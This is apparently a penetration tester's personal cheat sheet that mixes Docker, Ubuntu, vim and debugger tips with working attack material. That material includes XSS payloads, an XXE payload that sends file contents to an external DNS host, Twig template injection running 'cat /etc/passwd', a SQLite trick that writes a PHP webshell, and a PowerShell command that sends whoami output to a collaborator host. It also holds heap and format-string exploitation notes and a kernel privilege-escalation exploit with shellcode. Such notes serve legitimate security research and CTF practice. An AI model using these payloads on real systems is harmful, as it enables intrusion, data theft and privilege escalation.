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Research notes....

for my private purposes :)

Contents

Burp Suite Professional

Running own collaborator:

java -Xms10m -Xmx200m -XX:GCTimeRatio=19 -jar burp.jar --collaborator-server

Non-standard ports:
Configuration file: --collaborator-config=myconfig.config

Non HTTP traffic

Docker

Run from Dockerfile in directory:

docker build -t name .

Remove all stopped containers

docker container prune

Remove dangling images

docker image prune

Stop and remove all containers

$ docker container stop $(docker container ls -aq)
$ docker container rm $(docker container ls -aq)

Delete all

$ docker system prune -a --volumes

WARNING! This will remove:
  - all stopped containers
  - all networks not used by at least one container
  - all volumes not used by at least one container
  - all images without at least one container associated to them
  - all build cache

Ubuntu

Setup polish locales

Show locales:
locale -a

Show default locales:
cat /etc/default/locale

Install polish locale:
sudo locale-gen pl_PL.utf8

Setup locales:
update-locale LANG=pl_PL.utf8

Swapfile oneliner

sudo fallocate -l 1G /swapfile && sudo chmod 600 /swapfile && sudo mkswap /swapfile && sudo swapon /swapfile

Add wireguard to systemd:

# Add:  
sudo systemctl enable [email protected]
sudo systemctl daemon-reload
# Run:  
sudo systemctl start wg-quick@wg0
# Check status:
systemctl status wg-quick@wg0

Ubuntu 18 clang-10 as "clang"

# Edit sources.list -> https://apt.llvm.org/ && accept key
sudo apt-get update && sudo apt-get install clang-10

To use clang-10 with honggfuzz as hfuzz-clang:

Static ip on ubuntu (netplan)

$ sudo vim /etc/netplan/01-netcfg.yaml
network:
    version: 2
    renderer: networkd
    ethernets:
        ens33:
            dhcp4: no
            addresses: [192.168.0.18/24]
            gateway4: 192.168.0.1
            nameservers:
                addresses: [1.1.1.1, 8.8.8.8]
$ sudo netplan --debug apply

Resize after adding some GBs in Vmware

sudo growpart /dev/vda 1
sudo resize2fs /dev/vda1

Web Applications Security

XSS

Some helpful payloads caught in the wild

<svG x=1 onload=(co\u006efirm)``//
<embed src=//14.rs>
<marquee loop=1 width=0 onfinish=confirm(1)>
<marquee/onstart=alert(1)>
<esi:include src="http://abcdef.burpcollaborator.net/" /><script>alert(1)</script>
<svg><a><rect width=100% height=100% /><animate attributeName=href to=javascript:alert(document.location)>
<svg><a><animate attributeName=href to=javascript:alert(document.location) /><text y=15>Click me!</text></a>
<svg><animate xlink:href=#xss attributeName=href alues="&#01;&#02;&#03;&#04;&#05;&#06;&#07;&#08;&#09;&#10;&#11;&#12;&#13;&#14;&#15;&#16;&#17;&#18;&#19;&#20;&#21;&#22;&#23;&#24;&#25;&#26;&#27;&#28;&#29;&#30;&#31;&#32;javascript:alert(1)" /><a id=xss><text x=20 y=20>XSS</text></a>
<details/open/ontoggle="self['wind'%2b'ow']['one'%2b'rror']=self['wind'%2b'ow']['ale'%2b'rt'];throw/**/self['doc'%2b'ument']['domain'];">
＜/script＞injected2＜script＞alert(1)//＜/script＞ # < vs ＜

XXE

Exfiltrate in subdomain name:

dtd file without .dtd extension (test.html):

<!ENTITY % file SYSTEM "file:///etc/flag">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://%file;.b0f4f2d1d89d4ec413ad.d.zhack.ca'>">
%eval;
%exfiltrate;

Injection:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "file:///tmp/test.html"> %xxe;]>

http://dnsbin.zhack.ca/

LFI

SVG LFI (ImageMagick):
https://blog.bushwhackers.ru/googlectf-2019-gphotos-writeup/

<?xml version="1.0" encoding="UTF-8"?>
<svg width="1200px" height="1200px">
  <image width="1200" height="1200" href="text:/etc/hosts" />
</svg>

ESI

Edge Side Include Injection
WAF'alike bypass:

<svg<!--esi--> onload=aler<!--esi-->t<!--esi-->``
he<!--esi-->llo -> hello 
but
he<!--esx-->llo isn't modified 
you have ESI injection
<esi:include src="/anypage.html" dca="none" />

XSS

<esi:include src="http://abcdef.burpcollaborator.net/" /><script>alert(1)</script>

SSTI

Twig3 RCE:

{{['cat${IFS}/etc/passwd']|filter('system')}}

Request Smuggling

TE.CL + Hackvertor
(disable “Update Content-Length” in Repeater && “Auto Update Content Length” in Hackvertor Settings)

POST / HTTP/1.1
Host: abc.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 3

<@chunked_dec2hex_4><@get_var_3 /><@/chunked_dec2hex_4>
<@set_var_1><@length_2>GPOST / HTTP/1.1
Host: abc.com
Content-Length: 15

x=1<@/length_2><@/set_var_1>
0

Hackvertor

JSON escape:

 <@python_4("import json;output = json.dumps(input)","7d808063a7c69f9dad4f4a3cb1c2bd1a")>test123'<>"<@/python_4>
 Result: "test123'<>\""

SQL Injection

SQLite

Connect:
$ sqlite3 test.db

Command execution:

ATTACH DATABASE '/var/www/html/y.php' AS y;--
CREATE TABLE y.p (dataz text);--
INSERT INTO y.p (dataz) VALUES ('<? system($_GET[''cmd'']);?>');--

Alternatives to information_schema table (MySQL)

SELECT * FROM sys.x$schema_flattened_keys;

Blind SQL Injection without in:
https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

PHP

finfo with specific comment

// After Upload:
echo (new finfo)->file($_FILES["fileToUpload"]["tmp_name"]);
//Rendered:
JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, comment: "AAAAAAAAAAAAAAAAAA"
/*
Uploaded file:
$ cat test1234.txt | base64
/9j/4AAQSkZJRgABAgAAAQABAAD//kFBQUFBQUFBQUFBQUFBQUFBQUFB
*/

ASP.NET

PDF

Infrastructure

MQ

punch-q --config ../../../config.yml command execute --cmd "cmd.exe" --args '/c "powershell.exe $i=whoami; Invoke-WebRequest -uri http://kdjsfhkjsdhfjsd.burcpollaborator.xyz/$i"'

Network

Lookup and display the route for a destination

route get 192.168.13.14

Active Directory

/dev/null

# Find a file which does not contain two strings with ripgrep
rg --files-without-match 'auth' -g '*.php' | xargs -I '{}' rg --files-without-match 'permission' {}

nc permanent 'web-server'

while true; do 
  echo -e "HTTP/1.1 200 OK\n\n $(date)" | nc -l -p 1500 -q 1
done

vim - nice colors for dark background

:set background=dark

permanently:

echo 'set background=dark' >> $HOME/.vimrc

vim - show line numbers

:set number

vim - use a mouse

:set mouse=a

vmnet restart

/Applications/VMware\ Fusion.app/Contents/Library/vmnet-cli --stop
/Applications/VMware\ Fusion.app/Contents/Library/vmnet-cli --config
/Applications/VMware\ Fusion.app/Contents/Library/vmnet-cli --start
Check your current status:
/Applications/VMware\ Fusion.app/Contents/Library/vmnet-cli --status

Unix filesystem

Delete duplicated files in directory

$ fdupes -rdN .

low-level

exit code from the last running binary

$ ./test
[1]    20975 segmentation fault  ./test
$ echo $?
139

GLIBC version

ldd --version

Negative integer (i.e. from printf(%d)/unsigned int) to hex in python

>>> hex(-199703103 & (2**32-1)) # 32-bit
'0xf418c5c1L'
>>> hex(-199703103 & (2**64-1)) # 64-bit
'0xfffffffff418c5c1L'

Shared library actually linked

$ ldd -r -v aerofloat
	linux-vdso.so.1 (0x00007ffce8bf5000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcbeeced000)
	/lib64/ld-linux-x86-64.so.2 (0x00007fcbef0de000)

	Version information:
	./aerofloat:
		libc.so.6 (GLIBC_2.7) => /lib/x86_64-linux-gnu/libc.so.6
		libc.so.6 (GLIBC_2.2.5) => /lib/x86_64-linux-gnu/libc.so.6
	/lib/x86_64-linux-gnu/libc.so.6:
		ld-linux-x86-64.so.2 (GLIBC_2.3) => /lib64/ld-linux-x86-64.so.2
		ld-linux-x86-64.so.2 (GLIBC_PRIVATE) => /lib64/ld-linux-x86-64.so.2

pwntools environment variables (LD_PRELOAD)

p = process('./aerofloat', env = {'LD_PRELOAD' : './libc.so.6 ./ld-linux-x86-64.so.2'})

libc leak via puts (ropchain)

puts@plt(puts@got)
puts@plt:
   0x0000000000401030 <+0>:	jmp    QWORD PTR [rip+0x2fe2]        # 0x404018
   
0x040430(*0x04018),
0x04018 = 0x7f......

invalid start byte .decode() python

>>> struct.pack("<L", 0x401192).decode()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  
e.g.: (https://docs.python.org/3/howto/unicode.html)
UnicodeDecodeError: 'utf-8' codec can't decode byte 0x92 in position 0: invalid start byte
>>> struct.pack("<L", 0x401192).decode("utf-8", "backslashreplace")
'\\x92\x11@\x00'

gdb SIGHUP disable

handle SIGHUP noprint nostop pass

gdb follow-fork

set follow-fork-mode command controls the behavior of GDB when the debugged program calls fork() or vfork()

set follow-fork-mode parent
set follow-fork-mode child
show follow-fork-mode

gdb

set $p=0x... setting up your own variable in gdb
info symbol 0x....
pi -> interactive python shell in gdb

breakpoint -> stop at the specific address
watch -> stop if anything is written under address
rwatch -> stop if antything is read from the specific address
(it works fine for 4 watches)

Display arguments passed to a function when stopped at a call instruction

pwndbg> dumpargs
        format:    0xffffdb2c ◂— 'test\n'
        vararg:    0x20

Extended information for virtual address (gdb)

pwndbg> xinfo 0x80490a0
Extended information for virtual address 0x80490a0:

  Containing mapping:
 0x8049000  0x804a000 r-xp     1000 1000   /mnt/hgfs/LEARN/xx/binary/binary

  Offset information:
         Mapped Area 0x80490a0 = 0x8049000 + 0xa0
         File (Base) 0x80490a0 = 0x8048000 + 0x10a0
      File (Segment) 0x80490a0 = 0x8049000 + 0xa0
         File (Disk) 0x80490a0 = /mnt/hgfs/LEARN/xx/binary/binary + 0x10a0

 Containing ELF sections:
            .plt.got 0x80490a0 = 0x80490a0 + 0x0

pwndbg

search pointer

pwndbg> search -t pointer 0x804b398
binary          0x8048394 0x804b398
binary          0x80490a2 cwde
[heap]          0x8e76570 0x804b398
[heap]          0x8e76574 0x804b398
[stack]         0xffa8007c 0x804b398
[stack]         0xffa80080 0x804b398

useful commands

breakrva  
nextcall  
distance 0x78bc. 0x78..., w gdb: p/x 0x...-0x...  
canary (takes it from AUXV, it assumes that canary can't be changed)  
eq -> write hex qwordst at the specified address  
pi pwndbg.memory.write....

Format String (pwntools)

>>> from pwn import *
>>> fmtstr_payload(71, {0x804b398: 0x38}, write_size='byte')
b'%56c%74$naaa\x98\xb3\x04\x08'

To prevent 00 00 in case write_size as above:

b'%56c%74$hhna\x98\xb3\x04\x08'

IDA PRO

Useful settings

Line prefixes  
Stack pointer  
Auto comments

--

right click -> copy to assembly

IDAPython scripts

Refresh the processes on the remote machine and attach immediately when it appears

from ida_dbg import *
set_remote_debugger("192.168.x.x", "23946")
load_debugger('osx', True)

mission = True
while mission:
    pis = ida_idd.procinfo_vec_t()
    ida_dbg.get_processes(pis)
    for proc in pis:
        if "process_name" in proc.name:
            attach_process(proc.pid, -1)
            mission = False
            break

Heap Exploitation

Hijack hook functions

The GNU C Library lets you modify the behavior of malloc, 
realloc, and free by specifying appropriate hook functions. 
You can use these hooks to help you debug programs that use 
dynamic memory allocation, for example.

Hook variables declared in malloc.h and their default values are 0x0 - __malloc_hook, __free_hook.

gef➤  p __free_hook
$2 = (void (*)(void *, const void *)) 0x0
  • unsorted bins -> 2 pointers (e.g. libc leak)
  • House of Spirit - (https://drive.google.com/open?id=1VpX7KuvKquq4hOAd4U-xsaS_bMyloIz5)
    In the TCache House of Spirit, an attacker passes a pointer to a fake chunk header to the free API. This chunk can be of almost arbitrary size. The allocator will subsequently insert this fake chunk into a tcache freelist. The next malloc of the appropriate size will return the fake chunk which may overlap data that may be of benefit to the attacker.
  • Tcache poisoning (https://drive.google.com/file/d/1XpdruvtC1qW0OKLxO8FaqU9XCl8O_SON/view?usp=sharing)
    The attack is performed via corrupting, or poisoning the tcache such that malloc returns an arbitrary pointer. This may allow for control flow hijacking if malloc returns a pointer to a function pointer and an attacker is able to write to that malloc returned buffer. TCache poisoning is possible from heap corruption including buffer overflows and Use-After-Frees.

pwntools

from pwn import * 
xor('costam', [7+i for i in range(33)])
pause(1)
$ pwn asm 'nop;nop;nop'
$ pwn cyclic 100
$ pwn cyclic -l aaac

binary security

no PIE -> global addresses are constant (we can overwrite got)  
Partial RELRO -> it is possible to overwrite got  
full relro -> got read only, it can not be overwritten

Overwriting canary:

fs:28 -> segment register, it points at thread local storage

Libc also has a got (inet_ntoa etc.). We can:

  • Overwrite all got in libc (e.g. AAAAA) and if binary goes there, we will have a crash.

Useful to check:

IO_File_jumps <- functions in input/output operations
Ubuntu 18.03 - read only
Ubuntu 19. - writable

IO_vtable_check 
https://dhavalkapil.com/blogs/FILE-Structure-Exploitation/

IO_accept_foreign_vtables

one_gadget

$ one_gadget --level=5 ./libc.so.6
stay focused on constraints!

show all offsets  
$ one_gadget --level=5 ./libc.so.6 --raw

Above gadgets as an arg in exploit:

gadgets_offsets = list(map(int, '234234 23423423 234234'.split()))
one_gadget = gadgets_offsets[int(args.X)] +libc_base
p.send(p64(one_gadget))

python exploit.py X=0
python exploit.py X=1
python exploit.py X=2
python exploit.py X=3

WinDbg

Trace heap allocations if size is == 0x24:

bp ntdll!RtlAllocateHeap+0xe6 "r $t0=esp+0xc;.if (poi(@$t0) = 0x24) {.printf \"RtlAllocateHeap hHEAP 0x%x, \", poi(@esp+4);.printf \"Size: 0x%x, \", poi(@$t0);.printf \"Allocated chunk at 0x%x\", eax;.echo;ln poi(@esp);.echo};g"

Trace heap free:

bp kernel32!HeapFree ".printf \"HeapFree hHeap 0x%x, \", poi(@esp+4);.printf \"Dealloc chunk at 0x%x, \", poi(@esp+0xc);.echo;ln poi(@esp);.echo;g"

Mobile

iOS

Setup network-cmds:

iPhone:/ root# apt-get install network-cmds
iPhone:/ root# ifconfig

Certificate pinning bypass:

Obtaining an ipa app's file:

➜  frida-ios-dump git:(master) ./dump.py app_name

Show plist file:

plutil -p  ./LaunchScreen.storyboardc/Info.plist

Useful resources:

Objection usage

App is run:

➜  ~ objection --gadget app_name explore
... on (iPhone: 13.6) [usb] # ios keychain dump
... on (iPhone: 13.6) [usb] # ios cookies get --json

Dump list classes to file:

➜  ~ objection --gadget app_name run ios hooking list classes > list_classes.txt

Android

Kernel exploitation

SELinux check (permissive, enforcing)

generic_x86_64:/ $ getenforce
Enforcing

Kernel Exploitation

~ $ cat /proc/kallsyms //dynamic kernel symbol table
man 2 fcntl // (control over descriptors)

xor edi, edi 
call prepare_kernel_cred(0)

mov rdi, rax 
call commit_creds with the value from return ^

nasm to shellcode fu

nasm -f elf64 priv_esc2.s -o priv_esc2.o
for i in $(objdump -d priv_esc2.o -M intel |grep "^ " |cut -f2); do echo -n '\x'$i; done;echo

exploit draft:

#include <stdio.h>
#include <fcntl.h>
#include <assert.h>
#include <unistd.h>
#include <string.h>

int main()
{
    int fd = open("/proc/vulnerable", O_RDWR);
    perror("open()");
    assert(fd > 0);

    unsigned char shellcode[] = "\x31\xff\x48\xc7\xc0\x60\x85\x08\x81"
                                "\xff\xd0\x48\x89\xc7\x48\xc7\xc0\x40"
                                "\x82\x08\x81\xff\xd0\xc3"; // -> commit_creds(prepare_kernel_cred(0)); shellcode 				
/*
global _start
section .text
_start:
    xor edi, edi
    mov rax, 0xffffffff81088560
    call rax

    mov rdi, rax
    mov rax, 0xffffffff81088240
    call rax

    ret
*/

    printf("[*] shellcode length: %ld\n", strlen(shellcode));
    printf("UID before: %d \n", getuid());

    int write_ret = write(fd, shellcode, strlen(shellcode));
    perror("write()");
    assert(write_ret > 0);

    printf("UID after: %d \n", getuid());
    execl("/bin/sh", "/bin/sh", 0);

    return 0;
}

Static Code Analysis

Go

C#

PHP

$ gf php-sinks .

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Cheatsheet & Research notes for my own purpose.

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